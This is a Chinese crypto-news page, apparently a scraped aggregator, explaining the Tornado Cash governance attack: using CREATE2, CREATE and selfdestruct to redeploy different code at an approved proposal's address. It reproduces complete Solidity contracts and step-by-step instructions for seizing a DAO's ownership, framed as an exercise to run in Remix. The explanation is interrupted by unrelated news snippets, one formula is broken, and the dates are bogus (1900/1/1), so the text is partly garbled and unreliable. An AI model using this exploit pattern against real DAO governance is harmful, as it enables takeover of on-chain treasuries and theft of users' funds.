以太坊價格 以太坊價格
Ctrl+D 以太坊價格
ads
首頁 > Ethereum > Info

PRO:解析Tornado治理攻擊:如何同一個地址上部署不同的合約

Author:

Time:1900/1/1 0:00:00

大概兩周前(5 月 20 日),知名混幣協議 Tornado Cash 遭受到治理攻擊,黑客獲取到了Tornado Cash的治理合約的控制權(Owner)。

攻擊過程是這樣的:攻擊者先提交了一個“看起來正常”的提案, 待提案通過之后, 銷毀了提案要執行的合約地址, 并在該地址上重新創建了一個攻擊合約。

攻擊過程可以查看 SharkTeam 的  Tornado.Cash提案攻擊原理分析。

這里攻擊的關鍵是在同一個地址上部署了不同的合約, 這是如何實現的呢?

EVM 中有兩個操作碼用來創建合約:CREATE 與 CREATE2 。

當使用 new Token() 使用的是  CREATE 操作碼 , 創建的合約地址計算函數為:

address tokenAddr = bytes20(keccak256(senderAddress, nonce))創建的合約地址是通過創建者地址 + 創建者Nonce(創建合約的數量)來確定的, 由于 Nonce 總是逐步遞增的, 當 Nonce 增加時,創建的合約地址總是是不同的。

當添加一個salt時 new Token{salt: bytes32(。() ,則使用的是  CREATE2 操作碼 , 創建的合約地址計算函數為:

歐科云鏈張超:目前已累計解析超1.5億地址標簽,成全球最大鏈上地址標簽庫服務商:4月27日消息,歐科云鏈副總裁、歐科云鏈控股執行董事張超在出席“甲子引力X數字經濟高峰論壇”時表示,截至目前歐科云鏈已解析鏈上超1.5億地址標簽(實體標簽、行為標簽、屬性標簽)、數十億交易記錄、超1萬條結構化指標,成為全球最大的鏈上地址標簽庫服務商。

會上張超表示,未來歐科云鏈將繼續探索區塊鏈底層技術,加強對鏈上數據的分析、治理,為更多上層的區塊鏈應用添磚加瓦,服務于更多實體的應用層。[2022/4/27 2:33:56]

address tokenAddr = bytes20(keccak256(0xFF, senderAddress, salt, bytecode))創建的合約地址是 創建者地址 + 自定義的鹽 + 要部署的智能合約的字節碼, 因此 只有相同字節碼 和 使用相同的鹽值,才可以部署到同一個合約地址上。

那么如何才能在同一地址如何部署不用的合約?

攻擊者結合使用 Create2 和 Create 來創建合約, 如圖:

代碼參考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

Cobo區塊鏈安全團隊公開0xDAO潛在盜幣漏洞發現過程及技術細節解析:4月2日消息,0xDAO v2原計劃上線前的幾個小時,Cobo區塊鏈安全團隊啟動對該項目的DaaS投前例行安全評估工作,隨后在github開源的項目代碼中發現了一個嚴重的安全漏洞。經評估,如果 0xDAO v2此時繼續上線,該漏洞預計會造成數億美金的資產損失。Cobo區塊鏈安全團隊立即啟動應急預案,快速通過多個渠道聯系到0xDAO項目方,提交該漏洞的完整攻擊流程,緊急叫停了項目上線,隨后協助0xDAO項目方對該漏洞進行了修復。

日前,0xDAO官方發布推文向Cobo區塊鏈安全團隊表示了感謝,并且表示會按照嚴重漏洞級別給予Cobo區塊鏈安全團隊漏洞賞金獎勵。[2022/4/2 14:00:31]

先用 Create2 部署一個合約 Deployer , 在 Deployer 使用 Create 創建目標合約 Proposal(用于提案使用)。 Deployer 和  Proposal 合約中均有自毀實現(selfdestruct)。

在提案通過后,攻擊者把  Deployer 和  Proposal 合約銷毀,然后重新用相同的slat創建 Deployer  ,  Deployer 字節碼不變,slat 也相同,因此會得到一個和之前相同的   Deployer  合約地址, 但此時   Deployer  合約的狀態被清空了, nonce 從 0 開始,因此可以使用該 nonce 創建另一個合約Attack。

動態 | EOS疑似將推出基于EOS的HandShake DNS解析服務:EOS疑似將推出基于EOS 的 HandShake DNS解析服務,一位開發者的Github顯示正在開發EOS-handshake服務。Cosmos社區總監Chjango Unchained4月30日發推表示發現EOS開發者正在復用 Handshake 的開源代碼。EOS或許會加入域名解析服務,生態會進一步擴大。(IMEOS)[2019/4/30]

此代碼來自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/

// SPDX-License-Identifier: MITpragma solidity ^0.8.17;contract DAO {    struct Proposal {        address target;        bool approved;        bool executed;    }    address public owner = msg.sender;    Proposal[] public proposals;    function approve(address target) external {        require(msg.sender == owner, "not authorized");        proposals.push(Proposal({target: target, approved: true, executed: false}));    }    function execute(uint256 proposalId) external payable {        Proposal storage proposal = proposals[proposalId];        require(proposal.approved, "not approved");        require(!proposal.executed, "executed");        proposal.executed = true;        (bool ok, ) = proposal.target.delegatecall(            abi.encodeWithSignature("executeProposal()")        );        require(ok, "delegatecall failed");    }}contract Proposal {    event Log(string message);    function executeProposal() external {        emit Log("Excuted code approved by DAO");    }    function emergencyStop() external {        selfdestruct(payable(address(0)));    }}contract Attack {    event Log(string message);    address public owner;    function executeProposal() external {        emit Log("Excuted code not approved by DAO :)");        // For example - set DAO's owner to attacker        owner = msg.sender;    }}contract DeployerDeployer {    event Log(address addr);    function deploy() external {        bytes32 salt = keccak256(abi.encode(uint(123)));        address addr = address(new Deployer{salt: salt}());        emit Log(addr);    }}contract Deployer {    event Log(address addr);    function deployProposal() external {        address addr = address(new Proposal());        emit Log(addr);    }    function deployAttack() external {        address addr = address(new Attack());        emit Log(addr);    }    function kill() external {        selfdestruct(payable(address(0)));    }}大家可以使用該代碼自己在 Remix 中演練一下。

分析 | 資金流入榜首DASH盤面解析:在過去24小時中,DASH在各主流幣中非常強勢,資金凈流入31.97億人民幣。從圖中可以看出,DASH目前4小時走勢處于上升楔形三角中,底部不斷抬高,100均線上穿長期200均線,表明近期壓力位將會上移,并且MA100和MA 200將會對幣價起到支撐作用,不過目前兩均線的缺口在收窄,說明近期上沖動能在逐步減弱,RSI顯示進入超買區域,短期有回撤蓄勢的需求,上方壓力95,下方支撐89,收盤若站穩89上方,還會有上漲空間,反之幣價可能回撤至三角底部$75附近尋求支撐。利好消息面,區塊鏈支付服務PolisPay宣布與Dash合作,將支持其萬事達卡借記卡。[2019/3/13]

首先部署 DeployerDeployer , 調用 DeployerDeployer.deploy() 部署 Deployer , 然后調用   Deployer.deployProposal()  部署  Proposal 。

拿到 Proposal 提案合約地址后, 向  DAO 發起提案。

分別調用 Deployer.kill 和  Proposal.emergencyStop 銷毀掉 Deployer 和 Proposal

再次調用 DeployerDeployer.deploy() 部署 Deployer , 調用 Deployer.deployAttack() 部署  Attack ,    Attack  將和之前的   Proposal 一致。

動態 | 浙江大學攜手劍橋大學發布區塊鏈生態深層解析報告:近期,浙江大學互聯網金融研究院攜手劍橋大學新興金融研究中心發布區塊鏈生態深層解析報告《Distributed Ledger Technology Systems-A Conceptual Framework》的中文版——《分布式賬本技術系統:一個概念框架》。浙大AIF副院長楊小虎指出,該報告不僅闡明了如何識別DLT系統,分析和比較現有的DLT系統,還通過六個實例為新系統設計提供有用的借鑒。[2018/8/17]

執行 DAO.execute 時,攻擊完成 獲取到了 DAO 的 Owner 權限。

區塊律動BlockBeats

曼昆區塊鏈法律

Foresight News

GWEI Research

吳說區塊鏈

西柚yoga

ETH中文

金色早8點

金色財經 子木

ABCDE

0xAyA

Tags:BSPNBSPROSALBSPT價格NBS幣Umbrella ProtocolUniversal Floki Coin

Ethereum
ENT:4 月獲頂級加密 VCs 投資的這 27 個項目 都是什么來頭?

即便當前的市場環境仍然比較糟糕,但每天還是會有投融資事件發生,頂級加密 VC 們仍然在對 NFT、Web3 游戲、CeFi、DeFi、L1&L2、Web3 服務、基礎設施等賽道進行大手筆.

1900/1/1 0:00:00
NFT:從用戶留存角度 數據解讀 Blur 空投模型的成功之處

撰文:Ally Zach 編譯:胡子社區Blur 的漸進式代幣激勵空投模型迄今為止證明非常成功,通過促進用戶獲取和保留,使其成為業內領先地位.

1900/1/1 0:00:00
CRY:美國監管機構是導致加密貨幣交易量下降的原因嗎?

作者:Josh Adams,BeInCrypto記者 來源:BeInCrypto 編譯:金色財經 摘要 交易所的加密貨幣交易量創下 2020 年 10 月以來的最低水平有些人將這歸咎于美國的監管.

1900/1/1 0:00:00
TAC:一文梳理采用OP Stack的項目

作者:LeftOfCenter 編譯:區塊律動BlockBeatsBNB Chain 推出了自己的二層鏈,并于 6 月 19 日正式啟動了 Layer 2 測試網「opBNB」.

1900/1/1 0:00:00
以太坊:以太坊如何適應和影響傳統金融?

以太坊經常被描述為挑戰傳統金融權力的對立面。實際上,兩者之間并沒有任何沖突。以太坊的目標并不是去顛覆傳統金融領域,而試圖去補充和改善它。未來,這兩個系統將會有更多的交集.

1900/1/1 0:00:00
OIN:金色早報 | 美國德克薩斯州通過兩項涉及加密挖礦的法案

▌美國德克薩斯州通過兩項涉及加密挖礦的法案美國德克薩斯州通過兩項涉及加密挖礦的法案,而一項會對礦工產生不利影響的法案在委員會階段被阻止.

1900/1/1 0:00:00
ads